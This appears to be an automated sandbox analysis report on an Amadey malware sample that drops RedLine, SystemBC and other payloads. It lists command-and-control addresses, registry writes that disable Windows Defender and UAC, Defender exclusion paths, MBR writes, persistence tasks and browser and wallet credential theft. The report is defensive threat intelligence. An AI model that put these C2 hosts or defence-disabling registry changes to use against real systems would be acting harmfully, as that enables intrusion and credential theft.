amadey | 96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8

Analysis

max time kernel
145s
max time network
143s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
05-06-2024 01:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe
Size

1.8MB
MD5

713a645c9524d137db3c5547b12708f7
SHA1

dc3a407cf08c26511f22f256182d3a240630925c
SHA256

96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8
SHA512

83615c402b5bc7d7ca3e23979742b0aeb3d7c3ad4db197c910a3650668b2ee62a66c4bb7caa254b3319b37f182c1fb5560e3d755a7ad6e67c39d0f681d49f910
SSDEEP

49152:+EH2UPihkNjmmnXY6dpoK1FghSqqNUXpK74BGY1l:Ccjmmo6To+ehQUXA4BN1l

Score

10^/10

amadey redline systembc e76b71 newbild bootkit discovery evasion execution infostealer persistence spyware stealer trojan

Malware Config

Extracted

Family

amadey

Version

8254624243

Botnet

e76b71

http://77.91.77.81

Attributes

install_dir
8254624243
install_file
axplong.exe
strings_key
90049e51fabf09df0d6748e0b271922e
url_paths
/Kiru9gu/index.php

rc4.plain

Extracted

Family

redline

Botnet

newbild

185.215.113.67:40960

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

svchost.exereg.exereg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	svchost.exe

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Processes:

svchost.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/files/0x0006000000016fa9-216.dat	family_redline
behavioral1/memory/2272-227-0x00000000010A0000-0x00000000010F0000-memory.dmp	family_redline

SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
trojan systembc

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

file300un.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\QqEAMUespgTHJnVz = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dlfHiRefefjU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\hsUwQAlMU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\nivjmgppGaMJQQVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QtKEgKYoTGTqC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZEkGlaTFWGUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dlfHiRefefjU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\QqEAMUespgTHJnVz = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZEkGlaTFWGUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\hsUwQAlMU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QtKEgKYoTGTqC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\nivjmgppGaMJQQVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\QqEAMUespgTHJnVz = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\QqEAMUespgTHJnVz = "0"	reg.exe

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 2 IoCs

Processes:

resource	yara_rule
behavioral1/files/0x0006000000016d7d-209.dat	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral1/memory/2028-241-0x000000013F540000-0x0000000140775000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Detects executables (downlaoders) containing URLs to raw contents of a paste 5 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1520-70-0x0000000000400000-0x0000000000408000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral1/memory/1520-68-0x0000000000400000-0x0000000000408000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral1/memory/1520-65-0x0000000000400000-0x0000000000408000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral1/memory/1520-72-0x0000000000400000-0x0000000000408000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral1/memory/1520-71-0x0000000000400000-0x0000000000408000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs

Processes:

resource	yara_rule
behavioral1/files/0x0006000000016d7d-209.dat	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral1/memory/2028-241-0x000000013F540000-0x0000000140775000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Detects executables containing URLs to raw contents of a Github gist 2 IoCs

Processes:

resource	yara_rule
behavioral1/files/0x0006000000016d7d-209.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2028-241-0x000000013F540000-0x0000000140775000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Detects executables containing possible sandbox system UUIDs 2 IoCs

Processes:

resource	yara_rule
behavioral1/files/0x0006000000016d7d-209.dat	INDICATOR_SUSPICIOUS_EXE_SandboxSystemUUIDs
behavioral1/memory/2028-241-0x000000013F540000-0x0000000140775000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxSystemUUIDs

Detects executables packed with or use KoiVM 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1960-56-0x00000000006A0000-0x00000000006FA000-memory.dmp	INDICATOR_EXE_Packed_KoiVM

Detects executables referencing many IR and analysis tools 2 IoCs

Processes:

resource	yara_rule
behavioral1/files/0x0006000000016d7d-209.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/2028-241-0x000000013F540000-0x0000000140775000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

axplong.exe96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow	pid	Process
84	2100	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.EXEpowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.EXEpowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
2444	powershell.exe
972	powershell.EXE
3680	powershell.exe
2660	powershell.exe
1448	powershell.exe
2488	powershell.EXE
3248	powershell.EXE
1132	powershell.exe
1056	powershell.exe
3548	powershell.exe
376	powershell.exe
568	powershell.exe
284	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

Processes:

WindowsAutHostservices64.exe

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	WindowsAutHost
File created	C:\Windows\system32\drivers\etc\hosts	services64.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

services.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WindowsAutHost\ImagePath = "C:\\ProgramData\\WindowsServices\\WindowsAutHost"	services.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exeaxplong.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

360TS_Setup.exeunKyJNO.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Control Panel\International\Geo\Nation	360TS_Setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Control Panel\International\Geo\Nation	unKyJNO.exe

Drops startup file 3 IoCs

Processes:

regsvcs.exe

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kWe8IpWBrM8BOWy4sgFsuP98.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\T3LMu7Uwxog4lXbtaeXxkqHP.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xI5lCJK40P4A6GS5bL8PJ9zo.bat	regsvcs.exe

Executes dropped EXE 23 IoCs

Processes:

axplong.exefile300un.exegold.exeArgXI9tgNtUY9VkmvL1KS89U.exejudit.exestub.exeredline123123.exea9o4LxifKovVyCpn4joaxumJ.exeupd.exeInstall.exeInstall.exelumma123.exelrthijawd.exework.exejergs.exekFYCrwb.exeddlsvjm.exeservices64.exeWindowsAutHostddlsvjm.exeunKyJNO.exe360TS_Setup.exe360TS_Setup.exe

pid	Process
2772	axplong.exe
1960	file300un.exe
2896	gold.exe
1348	ArgXI9tgNtUY9VkmvL1KS89U.exe
2968	judit.exe
2028	stub.exe
2272	redline123123.exe
1672	a9o4LxifKovVyCpn4joaxumJ.exe
1732	upd.exe
2728	Install.exe
536	Install.exe
1484	lumma123.exe
1572	lrthijawd.exe
1812	work.exe
1592	jergs.exe
2052	kFYCrwb.exe
2684	ddlsvjm.exe
2088	services64.exe
2652	WindowsAutHost
2956	ddlsvjm.exe
1488	unKyJNO.exe
2324	360TS_Setup.exe
624	360TS_Setup.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exeaxplong.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Wine	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe
Key opened	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Wine	axplong.exe

Loads dropped DLL 64 IoCs

Processes:

96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exeaxplong.exeWerFault.exeWerFault.exeregsvcs.exeArgXI9tgNtUY9VkmvL1KS89U.exejudit.exestub.exea9o4LxifKovVyCpn4joaxumJ.exeWerFault.exeInstall.exeInstall.exeWerFault.execmd.exeservices.exeWerFault.exerundll32.exeWerFault.exeWerFault.exe

pid	Process
2136	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe
2772	axplong.exe
2772	axplong.exe
2772	axplong.exe
1248	WerFault.exe
1248	WerFault.exe
1248	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1520	regsvcs.exe
1348	ArgXI9tgNtUY9VkmvL1KS89U.exe
2772	axplong.exe
2968	judit.exe
2772	axplong.exe
2028	stub.exe
1520	regsvcs.exe
1672	a9o4LxifKovVyCpn4joaxumJ.exe
1672	a9o4LxifKovVyCpn4joaxumJ.exe
1672	a9o4LxifKovVyCpn4joaxumJ.exe
2772	axplong.exe
2772	axplong.exe
1672	a9o4LxifKovVyCpn4joaxumJ.exe
2712	WerFault.exe
2712	WerFault.exe
2712	WerFault.exe
2728	Install.exe
2728	Install.exe
2728	Install.exe
2728	Install.exe
536	Install.exe
536	Install.exe
536	Install.exe
2772	axplong.exe
2772	axplong.exe
1264	WerFault.exe
1264	WerFault.exe
1264	WerFault.exe
2772	axplong.exe
2036	cmd.exe
2772	axplong.exe
2772	axplong.exe
476	services.exe
476	services.exe
2168	WerFault.exe
2168	WerFault.exe
2168	WerFault.exe
2100	rundll32.exe
2100	rundll32.exe
2100	rundll32.exe
2100	rundll32.exe
3972	WerFault.exe
3972	WerFault.exe
3972	WerFault.exe
3972	WerFault.exe
3972	WerFault.exe
3664	WerFault.exe
3664	WerFault.exe
3664	WerFault.exe
1348	ArgXI9tgNtUY9VkmvL1KS89U.exe
1348	ArgXI9tgNtUY9VkmvL1KS89U.exe
1348	ArgXI9tgNtUY9VkmvL1KS89U.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

file300un.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Drops Chrome extension 2 IoCs

Processes:

unKyJNO.exe

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	unKyJNO.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	unKyJNO.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

Processes:

flow	ioc
9	pastebin.com
6	pastebin.com

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

Processes:

ArgXI9tgNtUY9VkmvL1KS89U.exe360TS_Setup.exe

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	ArgXI9tgNtUY9VkmvL1KS89U.exe
File opened for modification	\??\PhysicalDrive0	360TS_Setup.exe

Drops file in System32 directory 64 IoCs

Processes:

unKyJNO.exeWMIADAP.EXEpowershell.exesvchost.exeWindowsAutHostpowershell.EXEkFYCrwb.exepowershell.EXEpowershell.exeservices64.exepowershell.exepowershell.exepowershell.exepowershell.EXEsvchost.exepowershell.exerundll32.exepowershell.exepowershell.exe

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_DBD1FAADD656881B5EBDBC1DB3D60301	unKyJNO.exe
File created	C:\Windows\system32\perfc00A.dat	WMIADAP.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	unKyJNO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	unKyJNO.exe
File created	C:\Windows\System32\Tasks\ucrVpivlTlXwlAC2	svchost.exe
File opened for modification	C:\Windows\system32\MRT.exe	WindowsAutHost
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_798B036C05F381321FD6C3F00885C62F	unKyJNO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_DBD1FAADD656881B5EBDBC1DB3D60301	unKyJNO.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	kFYCrwb.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	kFYCrwb.exe
File created	C:\Windows\System32\Tasks\gHoidRbic	svchost.exe
File created	C:\Windows\system32\perfh00C.dat	WMIADAP.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	services64.exe
File opened for modification	C:\Windows\System32\Tasks\ZTNkTKukmvvbOMPkn	svchost.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	kFYCrwb.exe
File created	C:\Windows\system32\perfh007.dat	WMIADAP.EXE
File opened for modification	C:\Windows\System32\Tasks\goioKQJRA	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\ucrVpivlTlXwlAC	svchost.exe
File created	C:\Windows\system32\perfh00A.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfc007.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfh010.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfc011.dat	WMIADAP.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\BjyVbWVaXyfCTlHuI	svchost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	unKyJNO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_6B69C29B30EAF4FCF9E240B3D6A77FC9	unKyJNO.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\System32\Tasks\gXuMbmSriUtfuo	svchost.exe
File created	C:\Windows\system32\perfh009.dat	WMIADAP.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Setup.evtx	svchost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_798B036C05F381321FD6C3F00885C62F	unKyJNO.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	unKyJNO.exe
File opened for modification	C:\Windows\System32\Tasks\ZEKxHChbZmoqN2	svchost.exe
File created	C:\Windows\system32\perfc009.dat	WMIADAP.EXE
File created	C:\Windows\system32\PerfStringBackup.TMP	WMIADAP.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	unKyJNO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File created	C:\Windows\system32\perfc00C.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfc010.dat	WMIADAP.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini	WMIADAP.EXE
File opened for modification	C:\Windows\System32\Tasks\ucrVpivlTlXwlAC2	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\gXuMbmSriUtfuo	svchost.exe
File created	C:\Windows\System32\Tasks\ZEKxHChbZmoqN2	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\GJlNcuNKEmfKGuMTK2	svchost.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\System32\Tasks\goioKQJRA	svchost.exe
File created	C:\Windows\System32\Tasks\jVeWQSRcqyudsTDYlcg2	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\jVeWQSRcqyudsTDYlcg2	svchost.exe
File created	C:\Windows\System32\Tasks\ZTNkTKukmvvbOMPkn	svchost.exe
